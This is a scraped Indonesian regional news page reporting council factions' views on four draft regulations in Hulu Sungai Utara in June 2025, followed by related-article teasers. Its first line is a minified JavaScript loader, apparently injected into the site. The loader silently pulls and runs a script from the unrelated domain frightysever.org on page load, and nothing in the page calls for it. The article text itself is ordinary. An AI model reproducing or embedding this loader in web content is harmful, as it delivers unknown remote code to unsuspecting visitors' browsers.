(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Fraksi-Fraksi Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) memberikan sorotan serius terhadap empat buah Rancangan Peraturan Daerah (Raperda) Pemerintah Kabupaten HSU.
Rapat paripurna pemandangan umum DPRD HSU terkait empat Raperda yakni Raperda Rencana Pembangunan Jangka Menengah Daerah (RPJMD) tahun 2025 – 2029, Raperda tentang pembiayaan tahun jamak, Raperda tentang pencadangan dana untuk Pilkada 2029,dan Raperda pertanggungjawaban pelaksanaan Anggaran Pendapatan Belanja Daerah (APBD) tahun 2024.
Dalam pemandangan umum Fraksi Partai Keadilan Sejahtera (PKS) diwakili H Rustam menyambut baik dan memberikan dukungan terhadap empat buah Raperda tersebut.
Baca juga: Berkunjung ke Situs Geopark Meratus Kampung Jamu Obat Tradisional di Loktabat
Hal serupa juga disampaikan juru bicara Fraksi Partai Persatuan Pembangunan (PPP), Abdurrahman, dan juru bicara Fraksi Nasdem-PDI Perjuangan, Teddy Suryana, juru bicara Fraksi Gerindra, Budi Lesmana. Mereka berharap empat buah Raperda tersebut benar-benar mampu memberikan kesejahteraan bagi masyarakat.
Sementara, juru bicara Fraksi Partai Kebangkitan Bangsa (PKB), Junaidi mengatakan, Raperda RPJMD tahun 2025 – 2029 harus memperhatikan aspek-aspek diantaranya implementasi program, target kinerja, harus terukur dan sejalan dengan RPJMD pemerintah provinsi dan nasional.
“Fraksi Partai Kebangkitan Bangsa menyampaikan apresiasi atas penyampaian Raperda RPJMD tahun 2025 – 2029, dimana harus memuat visi- misi, tujuan dan sasaran yang kongkrit berkelanjutan dan berpihak kepada kepentingan rakyat,” katanya dalam rapat paripurna DPRD HSU, Kamis (5/6/2025) siang.
Baca juga: Apresiasi Penyaluran Hewan Kurban, Wakil Rakyat Ini Ingatkan Pemerataan Distribusi
Terkait Raperda pertanggungjawaban pelaksanaan APBD tahun 2024, ia mengapresiasi atas prestasi Pemerintah Kabupaten HSU yang memperoleh predikat Wajar Tanpa Pengecualian (WTP) selama 10 tahun berturut -turut atas laporan keuangan yang telah diperiksa oleh Badan Pemeriksa Keuangan (BPK) RI.
Sering dengan itu, Fraksi Golkar, melalui juru bicara Sahrawardi, menyambut baik dan memberikan dukungan terhadap empat buah Raperda yang dapat mendukung jalannya pembangunan daerah.
Dikatakannya, soal Raperda RPJMD 2025-2029 Fraksi Golkar menekankan pada RPJMD yang berfokus pada berbagai aspek pembangunan, baik infrastruktur, pendidikan, kesehatan, ketahanan pangan, khususnya aspek pertanian.
Hadir dalam kegiatan tersebut, Ketua DPRD HSU Fadillah, berserta jajaran, Bupati HSU H Sahrujani, Sekertaris Daerah (Sekda) pejabat Forkopimda, dan SKPD dilingkungan Pemkab HSU, organisasi masyarakat, dan mahasiswa (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.